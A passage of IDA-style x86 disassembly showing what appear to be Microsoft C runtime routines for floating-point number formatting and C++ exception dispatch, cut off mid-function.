sub_4181AA	proc near		; CODE XREF: sub_41834A+13p
					; sub_41836D+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	ds:byte_45E870,	0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_4181E5
		mov	eax, ds:dword_45E874
		mov	ebx, [esp+10h+arg_8]
		mov	esi, ds:dword_45E86C
		cmp	eax, ebx
		jnz	short loc_418215
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_418215
; ---------------------------------------------------------------------------


loc_4181E5:				; CODE XREF: sub_4181AA+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_41BE6F
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_41BDF8
		add	esp, 14h


loc_418215:				; CODE XREF: sub_4181AA+22j
					; sub_4181AA+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_418223
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_418223:				; CODE XREF: sub_4181AA+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41823A
		push	1
		push	edi
		call	sub_4183BE
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41823C
; ---------------------------------------------------------------------------


loc_41823A:				; CODE XREF: sub_4181AA+7Ej
		add	edi, eax


loc_41823C:				; CODE XREF: sub_4181AA+8Ej
		test	ebx, ebx
		jle	short loc_418281
		push	1
		push	edi
		call	sub_4183BE
		mov	al, ds:byte_42D300
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_418281
		cmp	ds:byte_45E870,	0
		jz	short loc_418266
		neg	esi
		jmp	short loc_41826C
; ---------------------------------------------------------------------------


loc_418266:				; CODE XREF: sub_4181AA+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41826E


loc_41826C:				; CODE XREF: sub_4181AA+BAj
		mov	ebx, esi


loc_41826E:				; CODE XREF: sub_4181AA+C0j
		push	ebx
		push	edi
		call	sub_4183BE
		push	ebx
		push	30h
		push	edi
		call	sub_413630
		add	esp, 14h


loc_418281:				; CODE XREF: sub_4181AA+94j
					; sub_4181AA+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4181AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418288	proc near		; CODE XREF: sub_41836D+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_41BE6F
		mov	ds:dword_45E86C, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	ds:dword_45E874, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_41BDF8
		mov	eax, ds:dword_45E86C
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	ds:dword_45E874, ecx
		setl	cl
		mov	ds:byte_45E878,	cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	ds:dword_45E874, eax
		jl	short loc_41830E
		cmp	eax, ebx
		jge	short loc_41830E
		test	cl, cl
		jz	short loc_4182FF


loc_4182F5:				; CODE XREF: sub_418288+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_4182F5
		and	[esi-2], al


loc_4182FF:				; CODE XREF: sub_418288+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41834A
		add	esp, 0Ch
		jmp	short loc_41831E
; ---------------------------------------------------------------------------


loc_41830E:				; CODE XREF: sub_418288+63j
					; sub_418288+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_418323
		add	esp, 10h


loc_41831E:				; CODE XREF: sub_418288+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418288	endp


; =============== S U B	R O U T	I N E =======================================



sub_418323	proc near		; CODE XREF: sub_418288+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	ds:byte_45E870,	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4180A6
		and	ds:byte_45E870,	0
		add	esp, 10h
		retn
sub_418323	endp


; =============== S U B	R O U T	I N E =======================================



sub_41834A	proc near		; CODE XREF: sub_418288+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	ds:byte_45E870,	1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4181AA
		and	ds:byte_45E870,	0
		add	esp, 0Ch
		retn
sub_41834A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41836D	proc near		; DATA XREF: sub_413FE9o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_4183A8
		cmp	[ebp+arg_8], 45h
		jz	short loc_4183A8
		cmp	[ebp+arg_8], 66h
		jnz	short loc_418395
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4181AA
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418395:				; CODE XREF: sub_41836D+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_418288
		jmp	short loc_4183B9
; ---------------------------------------------------------------------------


loc_4183A8:				; CODE XREF: sub_41836D+7j
					; sub_41836D+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4180A6


loc_4183B9:				; CODE XREF: sub_41836D+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41836D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4183BE	proc near		; CODE XREF: sub_4180A6+2Cp
					; sub_4181AA+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_4183E1
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_413DB0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_414520
		add	esp, 10h
		pop	esi


loc_4183E1:				; CODE XREF: sub_4183BE+7j
		pop	edi
		retn
sub_4183BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4183E3	proc near		; CODE XREF: seg000:004141CCp
					; sub_414235+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_4183F9
		call	sub_418C82


loc_4183F9:				; CODE XREF: sub_4183E3+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_418421
		cmp	dword ptr [esi+4], 0
		jz	short loc_418477
		cmp	[ebp+arg_14], 0
		jnz	short loc_418477
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41872A
		add	esp, 10h
		jmp	short loc_418477
; ---------------------------------------------------------------------------


loc_418421:				; CODE XREF: sub_4183E3+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_418477
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41845B
		cmp	[eax+14h], edi
		jbe	short loc_41845B
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41845B
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41847A
; ---------------------------------------------------------------------------


loc_41845B:				; CODE XREF: sub_4183E3+4Aj
					; sub_4183E3+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41847E
		add	esp, 20h


loc_418477:				; CODE XREF: sub_4183E3+23j
					; sub_4183E3+29j ...
		push	1
		pop	eax


loc_41847A:				; CODE XREF: sub_4183E3+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4183E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41847E	proc near		; CODE XREF: sub_4183E3+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41849E
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_4184A3


loc_41849E:				; CODE XREF: sub_41847E+16j
		call	sub_418C82


loc_4184A3:				; CODE XREF: sub_41847E+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_4185FA
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_418517
		cmp	[esi+14h], edi
		jnz	short loc_418517
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_418517
		mov	esi, ds:dword_45E87C
		test	esi, esi
		jz	loc_4185F5
		mov	eax, ds:dword_45E880
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_41BFF6
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4184F9
		call	sub_418C82


loc_4184F9:				; CODE XREF: sub_41847E+74j
		cmp	[esi], ebx
		jnz	loc_4185FA
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_418517
		cmp	[esi+14h], edi
		jnz	short loc_418517
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_418517
		call	sub_418C82


loc_418517:				; CODE XREF: sub_41847E+41j
					; sub_41847E+46j ...
		cmp	[esi], ebx
		jnz	loc_4185FA
		cmp	dword ptr [esi+10h], 3
		jnz	loc_4185FA
		cmp	[esi+14h], edi
		jnz	loc_4185FA
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_414383
		add	esp, 14h
		mov	ebx, eax


loc_41854E:				; CODE XREF: sub_41847E+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_4185E5
		cmp	[ebx], edi
		jg	short loc_4185DA
		cmp	edi, [ebx+4]
		jg	short loc_4185DA
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_4185D7


loc_418573:				; CODE XREF: sub_41847E+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_4185A4


loc_418585:				; CODE XREF: sub_41847E+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_4186CD
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4185B3
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_418585


loc_4185A4:				; CODE XREF: sub_41847E+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_418573
		jmp	short loc_4185D7
; ---------------------------------------------------------------------------


loc_4185B3:				; CODE XREF: sub_41847E+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4187DE
		add	esp, 2Ch


loc_4185D7:				; CODE XREF: sub_41847E+F3j
					; sub_41847E+133j
		mov	edi, [ebp+var_10]


loc_4185DA:				; CODE XREF: sub_41847E+DEj
					; sub_41847E+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41854E
; ---------------------------------------------------------------------------


loc_4185E5:				; CODE XREF: sub_41847E+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_4185F5
		push	1
		push	esi
		call	sub_418B53
		pop	ecx
		pop	ecx


loc_4185F5:				; CODE XREF: sub_41847E+56j
					; sub_41847E+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185FA:				; CODE XREF: sub_41847E+37j
					; sub_41847E+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_418620
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_418625
		add	esp, 20h
		jmp	short loc_4185F5
; ---------------------------------------------------------------------------


loc_418620:				; CODE XREF: sub_41847E+180j
		jmp	sub_418C2C
sub_41847E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418625	proc near		; CODE XREF: sub_41847E+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	ds:dword_45E884, 0
		push	esi
		push	edi
		jz	short loc_418656
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41425A
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4186C9


loc_418656:				; CODE XREF: sub_418625+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_414383
		add	esp, 14h
		mov	esi, eax


loc_418672:				; CODE XREF: sub_418625+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_4186C9
		cmp	edi, [esi]
		jl	short loc_4186C1
		cmp	edi, [esi+4]
		jg	short loc_4186C1
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41869B
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_4186C1


loc_41869B:				; CODE XREF: sub_418625+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4187DE
		add	esp, 2Ch


loc_4186C1:				; CODE XREF: sub_418625+57j
					; sub_418625+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_418672
; ---------------------------------------------------------------------------


loc_4186C9:				; CODE XREF: sub_418625+2Fj
					; sub_418625+53j
		pop	edi
		pop	esi
		leave
		retn
sub_418625	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186CD	proc near		; CODE XREF: sub_41847E+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_418724
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_418724
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_4186FE
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418720


loc_4186FE:				; CODE XREF: sub_4186CD+1Fj
		test	byte ptr [esi],	2
		jz	short loc_418708
		test	byte ptr [edi],	8
		jz	short loc_418720


loc_418708:				; CODE XREF: sub_4186CD+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_418717
		test	byte ptr [edi],	1
		jz	short loc_418720


loc_418717:				; CODE XREF: sub_4186CD+43j
		test	al, 2
		jz	short loc_418724
		test	byte ptr [edi],	2
		jnz	short loc_418724


loc_418720:				; CODE XREF: sub_4186CD+2Fj
					; sub_4186CD+39j ...
		xor	eax, eax
		jmp	short loc_418727
; ---------------------------------------------------------------------------


loc_418724:				; CODE XREF: sub_4186CD+Bj
					; sub_4186CD+14j ...
		push	1
		pop	eax


loc_418727:				; CODE XREF: sub_4186CD+55j
		pop	edi
		pop	esi
		retn
sub_4186CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41872A	proc near		; CODE XREF: sub_4183E3+34p
					; sub_4187DE+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41F7F0
		push	offset sub_41AE98
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_41875C:				; CODE XREF: sub_41872A+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4187B6
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41876B
		cmp	esi, [edi+4]
		jl	short loc_418770


loc_41876B:				; CODE XREF: sub_41872A+3Aj
		call	sub_418C82


loc_418770:				; CODE XREF: sub_41872A+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41878B
		push	103h
		push	ebx
		push	eax
		call	sub_418BE0


loc_41878B:				; CODE XREF: sub_41872A+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4187AB
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4187C8
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_4187AB:				; CODE XREF: sub_41872A+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41875C
; ---------------------------------------------------------------------------


loc_4187B6:				; CODE XREF: sub_41872A+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41872A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187C8	proc near		; CODE XREF: sub_41872A+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_4187D9
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4187D9:				; CODE XREF: sub_4187C8+Cj
		jmp	sub_418C2C
sub_4187C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4187DE	proc near		; CODE XREF: sub_41847E+151p
					; sub_418625+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_418800
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41898F
		add	esp, 10h


loc_418800:				; CODE XREF: sub_4187DE+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41880C
		push	edi
		jmp	short loc_41880F
; ---------------------------------------------------------------------------


loc_41880C:				; CODE XREF: sub_4187DE+29j
		push	[ebp+arg_24]


loc_41880F:				; CODE XREF: sub_4187DE+2Cj
		call	sub_41415C
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_41872A
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_418859
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_418854
		push	edi
		push	eax
		call	sub_41411A


loc_418854:				; CODE XREF: sub_4187DE+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4187DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418859	proc near		; CODE XREF: sub_4187DE+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41F800
		push	offset sub_41AE98
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, ds:dword_45E87C
		mov	[ebp+var_1C], ecx
		mov	ecx, ds:dword_45E880
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	ds:dword_45E87C, edi
		mov	ecx, [ebp+arg_8]
		mov	ds:dword_45E880, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_4141E1
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41891F
		mov	eax, [ebp+var_2C]


loc_4188E6:				; CODE XREF: sub_4188FF+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418859	endp


; =============== S U B	R O U T	I N E =======================================



sub_4188F5	proc near		; DATA XREF: seg001:0041F810o
		push	dword ptr [ebp-14h]
		call	sub_418965
		pop	ecx
		retn
sub_4188F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4188FF	proc near		; DATA XREF: seg001:0041F814o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_414442
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_4188E6
sub_4188FF	endp

; ---------------------------------------------------------------------------


loc_418917:				; DATA XREF: seg001:0041F808o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41891F	proc near		; CODE XREF: sub_418859+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	ds:dword_45E87C, eax
		mov	eax, [ebp-20h]
		mov	ds:dword_45E880, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_418964
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_418964
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_418964
		cmp	[ebp-24h], ebx
		jnz	short locret_418964
		cmp	[ebp-2Ch], ebx
		jz	short locret_418964
		call	sub_4144AA
		push	eax
		push	edi
		call	sub_418B53
		pop	ecx
		pop	ecx

locret_418964:				; CODE XREF: sub_41891F+1Cj
					; sub_41891F+22j ...
		retn
sub_41891F	endp


; =============== S U B	R O U T	I N E =======================================



sub_418965	proc near		; CODE XREF: sub_4188F5+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41898C
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41898C
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41898C
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41898C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41898C:				; CODE XREF: sub_418965+Cj
					; sub_418965+12j ...
		xor	eax, eax
		retn
sub_418965	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41898F	proc near		; CODE XREF: sub_4187DE+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41F818
		push	offset sub_41AE98
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_418B38
		cmp	byte ptr [eax+8], 0
		jz	loc_418B38
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_418B38
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_418A2C
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_41BFF6
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_418B2F
		push	1
		push	edi
		call	sub_41C012
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_418B2F
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_418A1D:				; CODE XREF: sub_41898F+F5j
		push	eax
		call	sub_418BBA
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_418B34
; ---------------------------------------------------------------------------


loc_418A2C:				; CODE XREF: sub_41898F+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_418A86
		mov	ebx, [ebp+arg_0]
		push	1
